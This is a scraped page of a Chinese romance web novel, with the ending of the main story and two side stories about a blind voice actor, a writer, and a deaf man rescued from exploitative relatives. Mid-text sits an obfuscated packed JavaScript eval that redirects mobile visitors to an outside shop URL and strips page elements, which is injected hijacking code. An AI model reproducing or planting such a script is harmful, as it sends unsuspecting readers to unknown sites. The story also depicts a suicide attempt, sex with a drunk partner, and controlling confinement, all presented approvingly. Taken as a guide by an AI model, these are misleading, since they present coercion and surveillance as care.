“是铃铛手链吗?”易秋光似乎是有点不太相信,“我还以为……你早就把这条手链丢了,因为之前……佟舟手上也有一条。” “我不会丢掉这条手链,更不可能把手链给那个该死的玩意儿,”乔辽走到床边,把手链放到易秋光手里,“再帮我戴上吧,秋光哥哥。” 易秋光似乎是有点犹豫,乔辽干脆往这人身上一靠,下一秒就开始撒娇。 “秋光哥哥,帮我戴上嘛,”乔辽用脑袋蹭了蹭易秋光的胳膊,“戴吧戴吧,我现在又不出去上班,我就在你边上晃悠,你快帮我戴上。” “好好好,你别蹭了,”易秋光摸索着握住他的右手,接着就把手链戴到这人手腕上,“戴好了。” “真好啊,又能当秋光哥哥的狗了,我真是太幸福了,”乔辽说完又“啧”了声,美滋滋地再次说道,“幸福啊,简直是太幸福了。” “傻不傻啊……”易秋光揉了揉他的头发,接着就把手机递到乔辽眼前,屏幕上显示着他们在婚宴结束时拍的大合照,“我想发条微博,你帮我打几个马赛克,工作室的同事都露过脸,我问过他们,他们说可以不打码,剩下的那些人,你都帮他们把脸挡一下。” “你要挡吗?”乔辽问他,“你一直都没露过脸,听众都不知道三季老师到底长什么样。” “不挡啊,”易秋光笑着说,“你不是写了新文吗,怎么说都应该先给读者一点准备,只要读者一看见照片里的我拿着盲杖,就能知道我看不见了吧。” 乔辽“嗯”了声,接着又在易秋光怀里蹭了蹭,“我想今天开文,你觉得怎么样?” “可以啊,”易秋光问他,“文名叫什么,你想好了吗?” “还在想。”乔辽躺在易秋光怀里,看着这人。 他看着易秋光说话时的口型,看着这人嘴角扬起的笑。 易秋光真的很好,易秋光是全宇宙最好。 乔辽抬起手,铃铛声也跟着响起,他伸手点了点易秋光的嘴角,也跟着这人笑了起来。 他说:“我想到了。” 乔辽亲了亲易秋光,接着站起身,走到桌前坐下。 他点开作者后台,选择发表新文。 在文名那栏,他打出四个字:看见你说。 存稿里的第一章被发了出去。 故听的作者界面显示,作者新文《看见你说》正在连载中。 第一章:好友。 (正文完) 63. 郭宝卓×徐颂良[番外] 失去声音是一件令人害怕的事情。 徐颂良偏偏遇上这种事。 他只是来江城找工作的,他想着,只要自己挣到了钱,就能摆脱以前的生活,只要这样,他就可以拥有自己的人生。 只要有了钱,他就可以让那些亲戚闭嘴,然后,就再也不用回那个家了。 但他听不见声音了。 突发性耳聋。 这几个字怎么看怎么陌生,徐颂良总觉得,这几个字是不可能和他有任何关系的。 但安静的世界却在反复提醒他,事实就是如此。 他再也听不见了。 治疗的费用是他负担不起的,老家那些亲戚对他的索取也是无止境的。 徐颂良丢了工作,老家的亲戚打来电话时,他也没办法按下接听键,按下了又能怎么样,他一个字都听不见,一句话都说不出来。 但那些亲戚还会给他发短信。 亲戚说,就算你是聋了,你也不能忘了那些养育之恩。 的确,徐颂良的父母在他很小的时候就去世了,他被几个亲戚接到家里轮流养大,但他的生活过得并不好。 有时候,他是哥哥,他要让着比自己小的弟弟妹妹,有时候,他是弟弟,他要帮着比自己大的哥哥姐姐,还要帮家里人做家务,忙农活。 能读书就很好了,徐颂良一直是这样觉得的。 他也的确办到了。 徐颂良离那些亲戚远远的,他只图一个清静。 但他的这份清静,是用钱换来的。 在他的世界没了声音之后,徐颂良都不愿意再出门了,他只想躺在那间出租屋里,拉上窗帘,不想见光,也什么都不想做。 可是,亲戚的短信就跟催命一样,弄得徐颂良整夜都睡不着。 最后,亲戚发来一条短信。 亲戚说,要是徐颂良再不给他们打钱,他们就要把徐颂良告了,到时候,他要给的钱,可就不止是那一点了。 那些钱是一点吗,那些钱足够让徐颂良生活很久了。 但徐颂良害怕,他对这方面一点都不了解,他只知道,自己是被那些亲戚轮流养大的,他应该给那些亲戚钱,也应该给那些亲戚养老。 可他现在这样……能去哪里挣钱? 徐颂良就跟赌一把似的,他下载了一个用户最多的APP,注册了一个账号,发出了第一个提问。 他问网友,听障能做什么工作,江城有什么推荐的工作吗,他说,他能吃苦,干体力活也没问题。 热心的网友真的很多,其中有一个最热心。 热心到徐颂良一看就觉得这人是骗子。 这人先是私信他,给他推荐工作,然后给他发来一个电话号码,让他加这个微信,这人说,还有更多工作可以推荐,发在这个平台会被吞私信,还是加微信更方便。 这种话术,一听就像诈骗。 但徐颂良确实没路可走了,他现在也没钱可以被骗。 他加了这人的微信,对方直接是秒通过。 这人发来一句:你好,我叫郭宝卓。 徐颂良盯着屏幕看了会儿,回复道:你好,我叫徐颂良。 郭宝卓给他发来好几条招聘信息,但大多是需要佩戴助听器的,还有些需要会手语。 其中有一个是在厂里,这份工作不需要交流,听不见也不会有影响,但这份工作离他太远了,还不包住宿。 徐颂良现在就连坐公交都舍不得,上班的地方要是太远,那他就不会考虑那份工作了。 徐颂良也不知道该怎么给郭宝卓说,他只能回了一句“谢谢”,其他的什么都没说。 这一晚,徐颂良还是一夜没睡,在天快亮的时候,郭宝卓给他发来消息,这人问他,工作找好了吗。 徐颂良回了个“没有”,接着又回复一句:我听不见,没有助听器,手语也不会。 这条消息,郭宝卓回得有些晚,这人在中午才回了一条:那你想学手语吗,我可以教你。 徐颂良现在算是明白了。 这个叫郭宝卓的人,就是一个卖课的,学什么手语啊,他连饭都要吃不起了。 出租屋里还剩下一点青菜,徐颂良不想出门去买菜,也没钱点外卖,他把青菜炒了炒,烂叶子也没舍得扔。 一大碗米饭,配着一小盘青菜,徐颂良吃得饱饱的。 可在他洗碗的时候,亲戚的短信又来了。 徐颂良站在门口,盯着短信看了很久,他心底除了害怕就是委屈,但他还是决定,先出门。 不出门就找不到工作,他现在最该做的,就是先挣钱。 徐颂良打开了门,他也终于见到了阳光,那束阳光照进窗户,洒满楼道,可他离得远了,没办法感受到那种暖意。 不知不觉中,徐颂良慢慢往前走,他离窗边越来越近,可下一秒,电梯门突然打开。 他还是没办法接受,自己已经听不见的事实。 当电梯里的那个人走出来的时候,徐颂良被吓了一跳,他也不想晒太阳了,那个时候的他,只想快点回去。 他扭头就走,步子快得不行,当他回到出租屋,关上门的时候,徐颂良几乎快要哭出来。 心跳太快了,他害怕得不行。 徐颂良又开始和以前那样,蜷缩着躺在床上,整夜睡不着觉。 和以前不一样的是,他开始不吃不喝,只会哭了。 郭宝卓的那条消息,徐颂良一直都没回,他还以为,这人再也不会给他发消息了。 毕竟,他的不回复就是拒绝,什么手语课啊,他上不起,也不想学。 可徐颂良没想到的是,在两天后,他又收到了郭宝卓发来的消息。 这人又发来了好几个招聘信息,这几份工作都是不需要交流的,只要把自己手头的事情干好就可以,郭宝卓问他,这几份工作行不行。 不太行。 离他出租屋太远了。 哦对,出租屋。 房租快到期了。 徐颂良的心一下子沉了底,他根本就不知道应该回复什么,只能盯着屏幕一直发呆,过了好一会儿,郭宝卓直接发了个视频通话过来。 现在这些卖课的人啊……真是太主动了。 徐颂良也无所谓,反正他房间里没有开灯,看看这个卖课的人到底长什么样也好,那也算是在这段时间里见过人了,毕竟,他以后还是要出门,房租到期之后,他估计就只能睡公园了。 公园人多,想不见都不行。 想到这里,徐颂良按下了接听键。 可他想错了。 屏幕很亮,郭宝卓能看见他的样子。 但徐颂良现在已经不想管这些了,因为,他也看见了郭宝卓的样子。 该怎么去形容郭宝卓这个人呢。 徐颂良只觉得,郭宝卓那边的灯很亮,这人也长得白,就是眉头一直皱着,看着不太好接近。 几秒后,徐颂良的手机振动一下,郭宝卓发来消息:你身体不舒服吗? 徐颂良摇了摇头。 身体有什么不舒服的地方吗,他不知道,他感觉自己都快麻木了。 郭宝卓的眉头皱得更厉害了,这人又发来一句:你看着不太好,最近休息不好? 徐颂良又摇了摇头。 很久没人这么问过他了。 大概也没人会在意他。 下一秒,手机再次振动,郭宝卓说:你家住哪儿,我去看看你。 徐颂良还是摇头,但他突然有点想哭。 郭宝卓就是一个陌生人,他竟然就这么在陌生人面前哭了出来,徐颂良也不知道自己有没有哭出声音来,如果他哭出了声音,那这声音会不会很难听。 眼泪让他看不清屏幕里的人,徐颂良扯了扯被子,把自己的脸挡住,但郭宝卓的消息又发来了。 这人说:我真不是坏人,你让我去你家看一眼,行不行,我真不放心。 在这句话后面,还带着两张图片。 是郭宝卓的身份证正反面。 徐颂良突然就不想哭了,他觉得这人脑子不太好,像郭宝卓这样的,最容易被骗了。 屏幕里的人还在皱着眉,也不知道是怎么想的,徐颂良真的把出租屋的地址发了过去。 郭宝卓在半个小时后过来了。 徐颂良一直盯着屏幕,在这人发来消息让他开门时,徐颂良一下子就紧张起来,他撑着床边坐起来,最先感觉到的,就是头晕。 还好出租屋小,还好他离门口不远。 当他走到门口打开门时,外面的声控灯也跟着一起亮起来。 他第一眼看见的就是笑着的郭宝卓,这人晃了晃手里提着的袋子,接着拿出手机打字给他看:我买了点吃的,你陪着我吃点吧。 这手机的手电筒还开着,这种灯光对徐颂良而言,有些过于刺眼。 再然后,徐颂良带他进了门,这间出租屋里也有了光亮,他终于打开了灯,为了郭宝卓打开的。 他们一起坐在那张折叠桌前,慢慢吃着东西。 饿了好几天,徐颂良还以为自己已经不会觉得饿了,但他刚吃了没几口,饥饿感也瞬间出现,这种感觉越来越强烈,吃到最后,他的胃也开始不舒服。 徐颂良趴在折叠桌上拧着眉,郭宝卓坐在他对面,用手机打字给他看:你怎么了? 徐颂良的手机在床上,他只能直了直身子,用手按了按正在疼的地方。 郭宝卓看着挺急的,他估计是怕打字太慢,选择用语音转文字,徐颂良看见这人说了一大串,最后又把手机放到他面前。 手机屏幕上显示着:胃疼?胀气?难受得厉害吗,会不会有想吐的感觉,需要去医院吗,我是开车来的,可以送你去医院。 徐颂良摇了摇头,接着就趴在那儿一直大口喘气。 郭宝卓挺害怕的,他没想到自己的好心会出岔子,最要命的是,徐颂良趴在那儿没多久,就连喘气速度都变慢了。 听这动静,应该是不难受了,但好像,人也快不行了。 完蛋了。 到底哪一步出错了。 不应该啊,他买的这些吃的没问题啊,他也都吃了,挺好吃的。 难道是因为他小时候经常在地上捡东西吃,所以百毒不侵吗。 乔辽那个时候就说过他,乔辽说,要是从地上捡东西吃,肚子里就会有虫子的。 郭宝卓那个时候才不信,他只觉得,乔辽在吓唬他,但现在,他突然就很信了。 兄弟啊,你真是从小时候开始就有头脑啊,是的没错,我就是肚子里有虫,但这些虫是好虫,不管我吃到什么不干净的东西,这些虫都能让我健健康康的。 徐颂良大概是从小就爱干净,掉地上的东西从不捡起来吃……所以这人肚子里没虫,但要是一吃到什么不干净的东西,立马就会开始难受了。 现在是想这些事的时候吗? 当然不是了! 郭宝卓晃了晃趴在折叠桌上的徐颂良,这人一直都没有反应,彻底完蛋了,完大蛋了。 郭宝卓选择打开手机录像,把镜头对准徐颂良,接着开口说道:“桌子上趴着的这个人是徐颂良,我是出于好心,担心他的状况,才想着过来找他,桌上放着的是我在他家……应该不是他家。桌上放着的是我在他出租屋外面,那条夜市街上买的小吃,具体第几个夜市摊我不记得了,但这些东西我都吃过,我没事,可这人有点事,录这个视频,是为了证明我没有偷东西,我现在要去找一下他的身份证,然后带着这人去医院。” 出租屋小,抽屉也就那几个,有可能放身份证的地方都被郭宝卓找了个遍,最后,他随手走到床边,把枕头拿了起来。 哟,这不是身份证吗。 谁家好人就这么把身份证往枕头下面乱放的啊! 郭宝卓叹出一口气,拿起身份证放进口袋里,接着走到桌前,蹲下身子背起徐颂良。 这人瘦得厉害,背起来也不觉得吃力,郭宝卓都觉得纳闷,这人个子挺高的,怎么会瘦成这样,看着就跟生了什么大病一样。 去医院的这一路上,郭宝卓时不时就会往副驾驶看一眼,徐颂良还在呼吸,就是一直没睁眼,到了医院后,郭宝卓才觉得心底稍微踏实了些。 一通检查结束,徐颂良躺在病床上输着液,医生给郭宝卓说,这人是营养不良,饿得太久,又突然吃了太油的东西导致肠胃不适,现在是睡着了,估计平时也没怎么休息好。 不是什么严重的病就好,郭宝卓现在彻底踏实了,他坐在病床边守着这人,输液结束后,徐颂良又睡了好一会儿才醒。 这人睁眼时,看见的环境是陌生的,脑子里冒出来的第一个想法就是,这是哪儿? 再然后,他看见床边坐着的郭宝卓。 郭宝卓对着他笑了笑,拿出手机打字给他看:你在医院,医生说你有点营养不良,抱歉,晚上给你带的吃得太油了。 徐颂良摇了摇头,他想问,在医院花了多少钱,但他不知道该怎么表达。 他听不见,也变得不敢开口。 郭宝卓就像是猜到了他的心思,这人把手机放到他手里,示意徐颂良可以打字。 徐颂良慢慢地用单手打字,他说:在医院花了多少钱?我以后会还你的,就是可能有点慢,谢谢你。 他把手机还给郭宝卓,这人看了眼屏幕,接着就看向徐颂良笑了笑,再然后,郭宝卓摇了摇头,在手机上打出:不用还,这次是我的错。 这哪有什么对的错的,郭宝卓带来吃的给他,还没找他要钱,徐颂良觉得,自己已经欠着他了,但他现在真的没办法还。 从医院回到出租屋后,郭宝卓又给徐颂良煮了粥,在他喝粥的时候,郭宝卓走到窗边拉开窗帘,出租屋里开着灯,窗外能看见发出暖黄色光亮的路灯。 徐颂良突然就觉得,这一切都跟做梦一样,就是这样的一个陌生人,带着他重新见到了光明。 见到了这个世界的光明。 在郭宝卓准备走的时候,这人又用手机打字问他:你想跟着我学手语吗,免费。 徐颂良盯着这人看了很久,然后,他点了点头。 郭宝卓给他打开地图,给他看了个地方,郭宝卓说,每天下午去那个地方就行,学完手语还能带着他去找工作。 在这个时候,徐颂良又开始犹豫了,他拿出手机打字:我不想出门。 他本以为郭宝卓会说一些劝他的话,但他没想到,郭宝卓却说:不想出门就打视频吧,每天下午给我打个视频就行。 再然后,郭宝卓走了,徐颂良的困意也在不久之后到来。 在跟着郭宝卓学手语的时候,徐颂良是很有干劲的,他也不知道自己的这股干劲从哪儿来,但他觉得,只要能看见郭宝卓的笑,那就一切都好。 再然后,郭宝卓不再只是教他手语了,这人突然让徐颂良开口说话。 郭宝卓说,没有别人会听见,只有他能听见。 郭宝卓又说,手语不会可以慢慢来,但要是对话变少,就会影响语言能力,时间一久,开口说话就会变得越来越难。 郭宝卓是一个很好的人,徐颂良也不想让他失望,于是,他开了口,他也不知道自己的声音是什么样,音量有没有控制好,但他看见了郭宝卓的笑。 这人对着他比出一个大拇指,然后用手语慢慢比画出:说得很好,你的声音很好听。 那一瞬间,徐颂良感觉,郭宝卓让他重新活了一次。 免费的手语总不能一直学下去,徐颂良也不知道自己从哪儿来的勇气,他走出了门,想去找一份工作。 他走进那家离出租屋不远的小超市,想去当理货员,徐颂良尽量控制着音量,但他也不知道自己说得怎么样,再然后,他又用手机打字,可招聘的那个人似乎是很嫌弃他,那种看不起的眼神,让徐颂良感到十分扎眼。 徐颂良回了出租屋,再次拉上窗帘,在第二天学手语的时候,徐颂良没再开口。 他又开始了失眠的日子,那个招聘人员嫌弃的眼神一直在徐颂良脑子里打转,但这并不是让他选择结束自己的原因。 最后让他再也无法承受的,还是那些亲戚。 他们突然给徐颂良发来一张写得密密麻麻的纸,上面写着字和数字,徐颂良一眼就看出来了,这是在算账。 算他们养大徐颂良的这笔账。 上面写的很多开销对徐颂良而言,都是没有印象的,但他也不敢去问,问了又能怎么样,不存在又能怎么样。 反正亲戚们认这笔账。 钱是王八蛋。 徐颂良觉得,自己也是王八蛋。 因为他选择了一了百了,而不是面对。 刀是冷的,血是热的,徐颂良在闭眼之前,看见手机亮了一下。 是亲戚发来的消息吗。 或者,是郭宝卓发来的消息吗。 徐颂良希望是后者,但下一秒,他又觉得,自己真的对不起郭宝卓。 可他的眼睛,还是睁开了,他第一眼看见的就是脸色不太好的郭宝卓,然后就是站在郭宝卓边上的房东。 徐颂良抿着唇,看着郭宝卓和房东说着什么,再然后,房东走了。 郭宝卓坐在病床边,一直看着他,但这人也没问他为什么要这样,徐颂良只觉得视线灼人,他偏着脑袋,不敢再去看郭宝卓。 过了好一会儿后,郭宝卓拍了拍他的胳膊,晃了晃手里的手机。 徐颂良扭过头,看见屏幕上写着:房东说,房租快要到期了,他想让你重新找个地方住。 徐颂良点了点头,他接过郭宝卓的手机,慢慢打出:我知道了,麻烦你了。 还能去哪儿住呢,他没地方可去,也没钱可以去重新租房子,现在的房租都贵,更何况,他现在又欠了郭宝卓钱。 他都没敢问这次来医院又花了多少,徐颂良都有点不敢面对郭宝卓了。 他在医院住了一段时间,那几天里,郭宝卓每天都会来看他,一日三餐,顿顿不落,出院那天,郭宝卓问他有没有地方去,徐颂良点了点头。 再然后,徐颂良回了出租屋,他收拾好出租里的东西,在这间屋子里住了最后一天。 后面的日子,他带着那一袋不算多的行李到处走,白天的时候,他一直都在路上,徐颂良总是低着头走路,他不敢和路人对视,有时候还会把手机拿出来胡乱扒拉几下,显得自己很忙的样子,到了晚上,他就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140597|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会去公园,找个长椅一坐就是一夜。 可他觉得自己好累,浑身都疼,外面人也多,徐颂良每天都过得煎熬,最终,他还是没忍住,给郭宝卓打了个电话。 他根本就不知道郭宝卓说了什么,因为他听不见,徐颂良只能慢慢说着自己想说的。 后来,他听郭宝卓说,那天,他的声音都是哑的,听着一点力气都没有。 郭宝卓问他,那天是不是哭了。 徐颂良只是摇摇头,说:“那个时候,我挺想你的。” 遇见郭宝卓,是他的幸运。 那通电话之后,徐颂良有了住的地方,那个地方比所有出租屋都要好。 郭宝卓会盯着他吃饭,会告诉他,要是害怕,就开着灯睡觉,家里阳台的窗帘一直都是敞开着,只要天亮起来,外面的阳光就会洒进来。 徐颂良每天都会坐在那里晒太阳,等着郭宝卓忙完回家。 等他回来的时候,郭宝卓就会问他,今天在家里过得怎么样。 徐颂良每次都是笑着,看着郭宝卓点头。 过得很好,谢谢你。 后来有一天,郭宝卓带着他出了门,徐颂良问他要去哪儿,郭宝卓拿出手机打字,屏幕上写着:带你去听一听,这个世界的声音。 郭宝卓给他配了助听器,这又是一笔不小的开销,徐颂良还不完这些钱了,他也没办法离开这个人,郭宝卓很好,郭宝卓能不能……一直陪着他。 可他还有那些亲戚,这对徐颂良而言是一种摆脱不了的噩梦,要是他和郭宝卓一直待在一起,就会把郭宝卓一起拉进这种噩梦。 但徐颂良想错了,郭宝卓根本就不怕这种噩梦。 他把那些亲戚痛骂一通,他对那些亲戚说,你们要是真的想算清楚,那我就去找你们,我当面和你们慢慢算,把你们养徐颂良花的那些钱一笔笔的全都算明白。 从那天开始,亲戚们再也没有给徐颂良发过短信。 原来,那些亲戚只需要一通痛骂就会离开,原来这件事,不需要用钱去解决。 在郭宝卓的陪伴下,徐颂良一天比一天好,但他还是不太敢开口说话。 也不记得是哪天,郭宝卓喝多了回到家,这人坐在沙发上一直说话,语速太快,口型也不明显,徐颂良没太听懂,但最后一句,他听懂了。 郭宝卓说:“他为什么不喜欢我?” “我喜欢你啊。”徐颂良当时是这么说的。 可郭宝卓说:“不是你。” 是吗,不是我啊。 徐颂良在那里站了好久,他整个人都愣住了,在那一刻,他没觉得委屈。 他只觉得,挺嫉妒的。 那天夜里,他一直都在郭宝卓床边坐着,他没有别的想法,只是单纯地想照顾这个人。 大概郭宝卓是认错人了,他拉住了徐颂良的胳膊,又问了一句:“他为什么不喜欢我?” “我说过了,”徐颂良轻声说,“我很喜欢你。” “那你……”郭宝卓说,“怎么证明?” 证明喜欢很简单,徐颂良不仅证明了,还证明得很彻底。 郭宝卓没有推开他,反而迎合,这种反应,徐颂良倒是挺满意的。 就是可惜,这人睡醒后,变得冷淡不少。 郭宝卓躺在床上,偏头望着身边的人,沉默好一会儿才问道:“你为什么要这样?” “是你要我证明的,”徐颂良说,“如果你也喜欢我,那你也可以证明。” 郭宝卓什么都没说,他起了床,又和以前那样,给徐颂良准备了早饭,然后出门。 这样的日子持续了好几天,那天夜里发生的事,就跟一场梦一样,但徐颂良记得郭宝卓身上的温度,也记得这人为了他而发出的每一声喘息。 但郭宝卓这种对他不冷不热的态度,让徐颂良难受得不行。 有一天,他出门找工作,郭宝卓在他之前回了家,这人给他发来消息,问他去哪儿了,徐颂良看见消息有点晚,他正准备回复晚点回来,下一秒,郭宝卓的视频通话就发了过来。 他接通视频,看见的就是满脸怒意的郭宝卓,这人吼了一句:“你去哪儿了!” 徐颂良一点都不生气,反而挺高兴的,他把视频反转方向,对着前方那条路。 他说:“我出门找工作了,晚点就回来。” “这个时间还有面试?”郭宝卓还在吼着,“天都黑了!” “我走回来的,”徐颂良反转视频,画面里的他,正在笑着,“省点路费。” “我让你省了吗,这点钱我没有吗,”郭宝卓骂了一句,然后说道,“坐车回来,马上!” 这句话落下,郭宝卓挂断视频,徐颂良盯着屏幕看了一会儿,接着走到路边,拦下一辆空的出租车。 他回到家的时候,郭宝卓就站在门口等着。 这人的脸色还是不好,徐颂良问他:“怎么了,今天遇到什么事了?” “你知不知道我在家里等了你多久,”郭宝卓拿出手机不停戳着屏幕,“你自己看看几点了,你知不知道我有多担心你啊,你下次去哪儿能不能说一声,你不是一个人住在这,家里还有我这么大一个人呢,我是摆设啊,啊?徐颂良,你把我当回事儿没!” “你别生气,”徐颂良犹豫一下,牵起他的手,“我这不是回来了吗,下次出门的时候,我肯定给你说。” “没有下次了,我不在家的时候,你不能出门,”郭宝卓没有甩开他的手,这人带着他走进家里,然后坐到沙发上,“你只能在家里待着,在家里老老实实等着我回来,待在家里想干什么都随你,看电视玩游戏睡觉都行,就是不能伤害自己。” “我这辈子都不上班啊?”徐颂良叹出一口气,“我有手有脚的,总不能一直在家里待着。” “等我不再担心你的那天,你就可以去上班了,”郭宝卓顿了顿又说,“现在不行,你现在只能在家里等我。” 后来,郭宝卓在家门口装了监控,徐颂良就算是去楼下丢个垃圾,这人也会问他到底去干嘛了。 在那之后,徐颂良也问过郭宝卓,他说:“那个时候,你是不是就已经喜欢我了?” “不知道,”郭宝卓说,“那个时候,我就是挺担心你的,总害怕我会照顾不好你,没能在第一时间发现你的情绪,我怕你会出事,但我……也挺怕回家之后看不见你。” “那你就是喜欢我,”徐颂良亲了亲郭宝卓,问他,“是不是我那次的证明太厉害了,让你直接爱上我了啊,早知道我就——” “你别说了,”郭宝卓一把捂住他的嘴,“趁我喝醉之后乱来,我没打你就不错了。” “但是,你在那之后不是也对我证明了吗,”徐颂良笑着说,“你表现挺好的,我很满意。” “你怎么每次聊起这些都脸不红心不跳的……”郭宝卓“啧”了声,“你就跟那种喂不饱的小狗一样。” 徐颂良“嗯”了声,说道:“被你养得好呗,我才不怕你,再说了,是你让我每天都必须说话的。” “我没让你说这些啊,也没让你在床上说话……你每次说的那些话我一听都受不了,”郭宝卓抬手点了点他的嘴,说道,“就是你这个嘴啊,怎么有时候说话那么难听呢,还会怼人。” “和你学的,”徐颂良说,“你和你朋友说话就是这样。” 郭宝卓愣了一下,说道:“行吧……” “你现在不喜欢那个人了吧?”徐颂良盯着这人问。 “不喜欢了,”郭宝卓说,“不合适就是不合适,再说了……在床上那种事,我也是第一次做,你应该算是我正儿八经的初恋了,之前那个是单相思,没恋上。” 徐颂良满意的点点头,说道:“你也是我初恋啊,在床上那种事,我也是第一次,但我发挥好,不是我吹啊,是你的反应告诉我的。” 郭宝卓瞥了他一眼,徐颂良立马又补充道:“你的发挥也很好,我超级喜欢——” 这人的嘴又被郭宝卓捂住了。 徐颂良扒拉开他的手,说道:“行了,说个别的事,我最近找了几份工作,明天准备去看一下。” “不准去,”郭宝卓说,“我还是不放心你。” “这都多久了,我还是出门挣点钱吧,还能给你买点东西,”徐颂良说,“不能光让你一个人买这买那的。” “我乐意,我能挣钱,”郭宝卓说,“我就想让你每天都能过得开心点,以前那些不好的日子都过去了,在我这里,你只需要开心,其他的你什么都不用管。” 徐颂良看着郭宝卓笑,过了好一会儿后,徐颂良说道:“谢谢。” “亲我一下,”郭宝卓微偏着头,指了指侧脸,“就当作是你对我的感谢了。” “那可能不够,换个地方亲吧。”徐颂良把这人拉进怀里,吻上他的唇。 这个吻没有一点克制,郭宝卓微抬起下巴去迎合。 失去声音是一件令人害怕的事情。 但现在,徐颂良不再害怕了。 徐颂良偏偏遇上无声的世界。 但他也幸运地,遇到了郭宝卓。 从此,他的世界处处都是美好的。 风吹有声,雨落有声,爱意也有声。 64. 乔辽×易秋光[番外] 乔辽这几天都住在易秋光家里,因为住在这里离工作室近。 《看见你说》卖了广播剧版权。 这部广播剧由失眠行星工作室出品并制作,配导还是三季。 两位主役是三季和故听。 刚开始,乔辽还有点紧张,他总担心自己会做不好这件事,但好在易秋光每天都会教他。 乔辽这次也算是和易秋光做了同事,这人对待工作十分认真,要求也很高,说实话,只要一走进工作室,乔辽就开始害怕这人了。 估计易秋光也知道自己凶,晚上回家后,他总会先抱着乔辽哄一哄,然后说一大堆好像是安慰又好像是工作的话,反正乔辽听得云里雾里。 最后,易秋光就会问他:“知道了吗?” 不知道也得说知道啊。 乔辽笑着说:“我知道了。” 但在第二天,易秋光又会在进棚前问他:“你是真的知道了,对吧?” 谁敢说不知道吗,反正乔辽不敢。 三季老师很凶,这个想法,每天都会出现在乔辽脑子里。 但结束工作后的三季老师是很温柔的。 现在已经是秋季了,是易秋光最喜欢的秋天。 落叶落了一地,易秋光牵着乔辽的手,踩着落叶哼着歌。 看见易秋光心情这么好,乔辽也跟着变得高兴起来,他最近也是体验了一把配音演员的工作,实在是费心费力,乔辽最近叹气的时间都多了不少。 要他配音什么的……还不如让他每天日万。 但话又说回来了,要是真的让他日万,那他宁愿睡一觉。 “我们去吃自助餐吧,”易秋光晃了晃乔辽的手,“我都快饿死了。” “行啊,”乔辽问他,“去哪儿吃?” “去江边那个商场,我好久之前就想吃的那家,你快叫车,我数三个数,车不来我就开始闹,”现在路上没什么落叶了,易秋光还用盲杖往两边划动两下,然后问乔辽,“树叶呢?” “我带你去踩,”乔辽把他带到落叶多的地方,说道,“踩吧,我现在叫车。” “已经过了三个数了,你现在叫已经来不及了,”易秋光“哎呀”一声,踩着地上的落叶,语气听着就挺可爱的,“肚子好饿啊,都能吃下一头牛了,这可怎么办呢,这可怎么办呀,我知道了,商场里新开了一家奶茶店,听说很好喝,那这样吧,我们去喝一杯,啊你说什么,商场里还新开了一家甜品店,那真是太难得啦,我们去那里一趟不容易啊,那家商场可远了,这样吧,你给我买一杯奶茶,甜品我也想尝尝,好了就这样决定了。” “好,记住了,”乔辽笑着偏头和他碰了碰脑袋,“秋光真好啊,竟然就这样轻易地原谅我了。” “那再去趟超市吧,”易秋光说,“家里零食没了,我囤点货。” “没问题,随便买,”乔辽捏了捏他的手,说道,“还有什么想吃的吗?” “暂时没有了,”易秋光问他,“过几天你能休息一下,你到时候要去驾校吗?” 乔辽“嗯”了声,说道:“好久没去了,我都忘记那个教我的教练长什么样了。” “那你还记得他叫什么吗?”易秋光问道。 好问题。 这个问题让乔辽想了好一会儿,一直想到叫的车都过来了,他还是没想起来。 坐上车之后,他拿出手机扒拉两下,找出教练的联系方式后,肯定地说道:“我想起来了,姓周。” 易秋光沉默了好一会儿,最后说道:“你这叫看见了,不是想起来了。” “原来是这样啊,”乔辽抬手搓了搓他的头发,“我知道了。” 其实也不是乔辽记性不好,主要是因为他真的太久没去驾校了,驾校报了,听力测了,科目一也过了,到了要练车的时候,乔辽也忙起来了,每天不是赶稿子就是修稿子,忙完这个忙那个,再然后,就是兼职上了配音演员,自己演自己。 春天报的名,现在已经是秋天了,乔辽才摸了两次方向盘,易秋光问他摸方向盘什么感觉,乔辽说,是凉的。 易秋光当时就笑了,然后给了他一脚。 秋光的奖励,实在是幸福。 乔辽一想到这些就会开始笑,易秋光每次摸到他嘴角的笑时,就会问这人是不是傻了。 就像现在,他们已经下了车,乔辽还在笑。 易秋光总觉得身边这个人怪怪的,他抬手摸了摸这人的脸,然后又在嘴角处摸了摸。果然啊,又在傻笑。 “笑什么呢,”易秋光问他,“看见什么好笑的东西了,说出来让我也笑一下。” “想到你上次打我的时候了,”乔辽嘿嘿笑了一下,“好幸福。” 这不对劲。 易秋光突然觉得,他会不会是哪次打这人的时候,用的力气太大了,一下子就把这人打傻了。 下次真的不能打头了,头挺脆弱的,乔辽本来就傻了,不能再继续傻下去了。 易秋光叹出一口气,特别温柔地摸了摸这人的脸,说道:“别想了,带我去吃饭,饿死了。” 易秋光是绝对不会饿死的。 因为这人一进商场就先买了一杯奶茶,乔辽还在边上说了一句:“我们先去吃饭吧。” 易秋光已经听不见了,他回了个“嗯嗯”然后又说了一句:“完了,忘记备注少糖了。” 甜度拉满的奶茶挺齁嗓子的,易秋光喝了两口,正准备给乔辽喝的时候,突然就品出味儿来了,他越喝越带劲,这杯奶茶没多久就喝完了。 但没关系,接下来就能吃到自助烤肉了。 这家自助餐厅挺大的,烤肉火锅都能吃,易秋光坐在那里一边扒拉手机一边问乔辽,熟了吗,能吃了吗,喂我嘴里,再来一口! 一口接一口,一口又一口,易秋光吃得满脸带笑,乔辽也吃得饱饱的。 易秋光提议,吃完之后去江边散散步,然后再回家洗澡睡觉。 乔辽表示同意,但这人压根就没走出商场,因为他还有甜品没吃。 吃完甜品,他们又去了超市,买了两大袋零食。 他们俩人一人提了一大袋,乔辽看了眼时间,正准备问这人,现在是回家还是去江边走走,但易秋光似乎没有出商场的打算。 因为这人闻着味儿,又走到了奶茶店。 最后,他俩没有去江边,易秋光喝着奶茶刚走出商场就说吃饱了走不动,乔辽表示理解,正好有空车路过,他干脆伸手拦车。 